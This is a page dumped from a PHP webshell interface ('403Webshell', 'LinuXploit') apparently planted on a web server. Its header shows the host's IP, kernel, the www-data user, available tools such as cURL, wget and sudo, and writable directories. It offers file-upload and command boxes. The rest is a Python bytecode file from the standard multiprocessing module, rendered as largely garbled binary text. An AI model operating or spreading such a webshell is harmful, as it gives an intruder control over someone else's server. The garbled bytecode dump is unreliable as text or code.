403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3.14/multiprocessing/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.14/multiprocessing/__pycache__/resource_tracker.cpython-314.pyc
+
��3jY;����^RIt^RIt^RIt^RIt^RIt^RIt^RIHt^RIt^RI	H
t
^RI	Ht.ROt]
!]R4t]P]P 3tRtR]RR	/t]P(R
8Xd6^RIt^RIt]
!]R4'd]P.]R&]P0]R
&!RR]4t!RR]4t]!4t]P<t]P>t]P@t ]PBt!Rt"Rt#R#)�N)�deque)�spawn)�util�pthread_sigmaskc��\R4h)z-noop should never be registered or cleaned up)�RuntimeError��names&�7/usr/lib/python3.14/multiprocessing/resource_tracker.py�cleanup_noopr$s��
�F�
G�G��noop�dummyc��R#�N�r	s&r�<lambda>r)s��$r
�posix�
sem_unlink�	semaphore�
shared_memoryc��]tRt^:tRtR#)�ReentrantCallErrorrN)�__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__rr
rrr:s��r
rc��a�]tRt^>toRtRtRtRRlt]P]P]P3RltRt
RtRtR	tR
tRRltR
tRtRtRtRtRtVtR#)�ResourceTrackerc��\P!4VnRVnRVnRVn\
4VnRVnR#)NT)	�	threading�RLock�_lock�_fd�_pid�	_exitcoder�_reentrant_messages�_use_simple_format��selfs&r�__init__�ResourceTracker.__init__@s9���_�_�&��
������	����#(�7�� �#'��r
c��\R4h)z8Reentrant call into the multiprocessing resource tracker)rr*s&r�_reentrant_call_error�%ResourceTracker._reentrant_call_errorNs��
!�F�H�	Hr
c�*�VPRR7R#)F)�use_blocking_lockN)�_stopr*s&r�__del__�ResourceTracker.__del__Vs��	
�
�
�U�
�+r
c��V'd0VP;_uu_4VP4RRR4R#VPPRR7pVP4V'dVPP4R#R# +'giR#;i T'dTPP4ii;i)NF)�blocking)r$�_stop_locked�acquire�release)r+r2�acquireds&& rr3�ResourceTracker._stop\s���������!�!�#����z�z�)�)�5�)�9�H�
)��!�!�#���J�J�&�&�(��������J�J�&�&�(��s�B�B�B	�%Cc��VPP4^8�dVP4hVPfR#VPfR#V!VP4RVnV!VP^4wrERTnT!T4TnR# \
dRTnRTnR#i;i \dRTnR#i;i��N)r$�_recursion_countr/r%r&�ChildProcessErrorr'�
ValueError)r+�close�waitpid�waitstatus_to_exitcode�_�statuss&&&&  rr8�ResourceTracker._stop_lockedhs����:�:�&�&�(�1�,��,�,�.�.��8�8����9�9���	�d�h�h�����	���	�	�1�-�I�A���	�	"�3�F�;�D�N��!�	��D�I�!�D�N��	���	"�!�D�N�	"�s$�*B�
B6�B3�2B3�6C�Cc�:�VP4VP#r)�ensure_runningr%r*s&r�getfd�ResourceTracker.getfd�s�������x�x�r
c�"�VP4#)z�Make sure that resource tracker process is running.

This can be run from any process.  Usually a child process will use
the resource created by its parent.)�_ensure_running_and_writer*s&rrJ�ResourceTracker.ensure_running�s��
�-�-�/�/r
c��\P!VP4VPe"\P!VP^4RTnRTnRTn\P!R4R# \
dL:i;i)NzUresource_tracker: process died unexpectedly, relaunching.  Some resources might leak.)	�osrCr%r&rDrAr'�warnings�warnr*s&r�_teardown_dead_process�&ResourceTracker._teardown_dead_process�ss��
�������	��y�y�$��
�
�4�9�9�a�(������	�����
�
�A�	B��!�	��	�s�/A>�>B�Bc�H�.pVP\PP44\
P!4wr#VPV4\P!4pV.\P!4ORNRVR2NpRp\'d*\P!\P\4p\P !WEV4pVe&\P!\P"V4Y0nYpn\
P(!T4R# \dEL	i;i Te'\P!\P"T4ii;i \
P(!T4h;i \
P(!T4i;i)z-cz7from multiprocessing.resource_tracker import main;main(�)N)�append�sys�stderr�fileno�	ExceptionrQ�piper�get_executabler�_args_from_interpreter_flags�
_HAVE_SIGMASK�signalr�	SIG_BLOCK�_IGNORED_SIGNALS�spawnv_passfds�SIG_SETMASKr%r&rC)r+�fds_to_pass�r�w�exe�args�prev_sigmask�pids&       r�_launch�ResourceTracker._launch�s[����	����s�z�z�0�0�2�3��w�w�y���	����q�!��&�&�(�C����2�2�4����J�!��A�N�	�D� �L�
M� �=�#)�#9�#9�&�:J�:J�L\�#]�L��)�)�#�[�A���+��*�*�6�+=�+=�|�L�
�H��I��H�H�Q�K��E�	��	��2 �+��*�*�6�+=�+=�|�L�,��	��H�H�Q�K���

�H�H�Q�K�sI�-D,�	AE-�AD>�)E-�F	�,D;�:D;�>,E*�*E-�-F�F	�	F!c��VP'dR#\P!RRRR/RR
R7R,PR	4#)zReturn a probe message.s
PROBE:0:noop
�cmd�PROBE�rtyperT��ensure_ascii�
separators�
�ascii��,�:)r)�json�dumps�encoder*s&r�_make_probe_message�#ResourceTracker._make_probe_message�sI���"�"�"�$��J�J����&�1�!�%�
�
�
��&��/�	r
Nc��VP;_uu_4VPP4^8�d:VfVP4hVPP	V4uuRRR4#VP
e-VfVP
4pMTpVPV4RpMVP4RRR4VPP4pTPT4K/ \d$TP4TP4Lwi;i +'giLp;i \dMi;iTeTPT4R#R#r>)
r$r@r/r(rXr%r~�_write�OSErrorrTrm�popleft�
IndexError)r+�msg�to_send�
reentrant_msgs&&  rrN�)ResourceTracker._ensure_running_and_write�s��
�Z�Z�Z��z�z�*�*�,�q�0��;��4�4�6�6��/�/�6�6�s�;��Z��x�x�#��;�"�6�6�8�G�!�G�#��K�K��(�
������+�.�
� $� 8� 8� @� @� B�
�
�K�K�
�&���#��/�/�1��L�L�N�#���Z��4�
��
���?��K�K���sH�AD �.%D �C/�%D �D3�/+D�D �D�D � D0	�3E�Ec��\P!VPVP44R# \dR#i;i)z;Check that the pipe has not been closed by sending a probe.TF)rQ�writer%r~r�r*s&r�_check_alive�ResourceTracker._check_alive�s=��	�
�H�H�T�X�X�t�7�7�9�:����	��	�s�/3�A�Ac�*�VPRW4R#)z0Register name of resource with resource tracker.�REGISTERN��_send�r+r
rrs&&&r�register�ResourceTracker.register
s���
�
�:�t�+r
c�*�VPRW4R#)z2Unregister name of resource with resource tracker.�
UNREGISTERNr�r�s&&&r�
unregister�ResourceTracker.unregisters���
�
�<��-r
c��\P!VPV4pV\V48XgQRV:R\V4:24hR#)znbytes=z
 != len(msg)=N)rQr�r%�len)r+r��nbytess&& rr��ResourceTracker._writes>�����$�(�(�C�(����S��!�>�g�f�Y�n�3�s�8�+�#>�>�!r
c�v�VP'dPRV9dIVRVRVR2PR4p\V4R8�d\R4hVP	V4R#VPRR4p\V4^�8�d\R4h\
P!V4PR4pR	VR
VRV/p\P!VRRR
7R,PR4p\V4R8:gQR\V4R24hVPR4'gQhVP	V4R#)rvrzrwizmsg too longN�utf-8�surrogateescapez+shared memory name too long (max 255 bytes)rprr�base64_nameTrsz"internal error: message too long (z bytes)�{rx)r)r}r�rBrN�base64�urlsafe_b64encode�decoder{r|�
startswith)r+rpr
rrr��b�b64�payloads&&&&    rr��ResourceTracker._sends#���"�"�"�t�4�'7��E��4�&��%���+�2�2�7�;�C��3�x�#�~�!��0�0��*�*�3�/��
�K�K��!2�3���q�6�C�<��J�K�K��&�&�q�)�0�0��9���#�w��}�c�B���z�z�'���L�t�S�[�[�\c�d���3�x�3��V�"D�S��X�J�g� V�V���~�~�d�#�#�#�#��&�&�s�+r
)r'r%r$r&r(r))Tr)rrrrr,r/r4r3rQrCrDrEr8rKrJrTrmr~rNr�r�r�r�r�r�__classdictcell__)�
__classdict__s@rr r >sx����'�H�,�
)��h�h��
�
�!�8�8�	!"�F�0�B�&&�P��B	�,�.�?�,�,r
r c���VPR4'd�\P!VPR44pTR,pTR,pTP
RR4p\T\4'd-\T\4'd\T\4'g\RT:24h\P!T4PR	R
4pMGVP4PR4PR^R
7wr7VPR^R
7wrdW4V3# \dp\RT:24ThRp?ii;i \
dp\RT:24ThRp?ii;i)r�rwz$malformed resource_tracker message: Nrprrr��z#malformed resource_tracker fields: r�r�z(malformed resource_tracker base64_name: rz)�maxsplit)r�r{�loadsr�r\rB�get�
isinstance�strr��urlsafe_b64decode�strip�split�rsplit)�line�obj�erprrr�r
�rests&       r�_decode_messager�>s=�����t���	X��*�*�T�[�[��1�2�C��%�j���G����w�w�}�b�)���#�s�#�#�:�e�S�+A�+A��TW�Y\�I]�I]���M�N�N�	[��+�+�C�0�7�7��AR�S�D��J�J�L�'�'��0�6�6�s�Q�6�G�	���k�k�#��k�2����t����#�	X���O�P�VW�W��	X���	[��S�R�S�YZ�Z��	[�s/�%D&�4&E	�&E�1E�E�	E)�E$�$E)c���\P!\P\P4\P!\P\P4\'d*\P
!\P\4\P\P3FpVP4K	\P4Uu/uF
q"\4bK	pp^p\!VR4;_uu_4pVF�p\#V4wrbp\P%VR4pVf\'RVRV24hVR8XdW2,P)V4K]VR8XdW2,P+V4K}VR8XdK�\-RV,4h	RRR4VP34F_wr)V	'd5^pVR	8XdM)\4P6!R
\9V	4RVRV	24V	Fp\V,!V4K	Ka	\P:!V4R# \dEK�i;iuupi \d:^p\P.!\P0!4!EK~ EK�;ii;i +'giL�;i \dL�i;i \d+p
^p\4P6!R
T:RT
:24Rp
?
L�Rp
?
ii;i i;i TP34F�wr)T	'dF^pTR	8XdM:\4P6!R
\9T	4RTRT	24M \dMi;iT	FVp\T,!T4M8 \d+p
^p\4P6!R
T:RT
:24Rp
?
MRp
?
ii;iKS i;i	K�	\P:!T4i;i)zRun resource tracker.�rbNzCannot register z. for automatic cleanup: unknown resource type r�r�rqzunrecognized command %rrz%resource_tracker: There appear to be z leaked z" objects to clean up at shutdown: zresource_tracker: z: )ra�SIGINT�SIG_IGN�SIGTERMr`r�SIG_UNBLOCKrcrY�stdin�stdoutrCr\�_CLEANUP_FUNCS�keys�set�openr�r�rB�add�remover�
excepthook�exc_info�itemsrRrSr��exit)�fd�frr�cache�	exit_coder�rpr
�cleanup_func�rtype_cacher�s&          r�mainr�Vsf���M�M�&�-�-����0�
�M�M�&�.�.�&�.�.�1��}����v�1�1�3C�D��i�i����
$��	�
�G�G�I�%�(6�':�':�'<�=�'<�e�C�E�\�'<�E�=��I�9�
�"�d�^�^�q����'6�t�'<�$�C��#1�#5�#5�e�T�#B�L�#�+�(�.�t�f�55�5:�G�=�>�>��j�(���(�(��.���,���+�+�D�1�����*�+D�s�+J�K�K�!��4#(�+�+�-��E��
� !�I���'�� �
�
�C�"�;�/�0����@5�5@�M�C��$���N�&�u�-�d�3�
�$�!#0�:	�������	��	��
>��.!�� !�I���������7�������%�^��P!�����%�N�$%�	� �
�
�D�!�&L�M�M��N����7#(�+�+�-��E��
� !�I���'�� �
�
�C�"�;�/�0����@5�5@�M�C���
!�����#���N�&�u�-�d�3��$�N�$%�	� �
�
�D�!�&L�M�M��N����D��$�!#0�:	�����sK�I�*I�L�J%�AI�4J%�6I�J%�I�J%�I�1J%�3L�	J8�#(J8�K	�I�I�
J"	�,'J�J%�J�J"	�J%�J"	�"J%�%J5	�0L�8K�K�	K>� K9�4L�9K>�>L�L�O �%	M�.O �/(M�O �M&	�#O �%M&	�&O �0N�N>�N9� N4�/N>�4N9�9N>�<O �>O� O )rJr�r�)$r�rQrarYr"rR�collectionsrr{r�rr�__all__�hasattrr`r�r�rcrr�r
�_multiprocessing�_posixshmemr�
shm_unlinkrr�objectr �_resource_trackerrJr�r�rKr�r�rr
r�<module>r�s��$�	�
�
�������
6���� 1�2�
��M�M�6�>�>�2��H��L��
���
�7�7�g�������.�.�&6�&A�&A��{�#�&1�&<�&<�N�?�#�	��	�w,�f�w,�r$�%��"�1�1���%�%��
�
)�
)�
������0Jr

Youez - 2016 - github.com/yon3zu
LinuXploit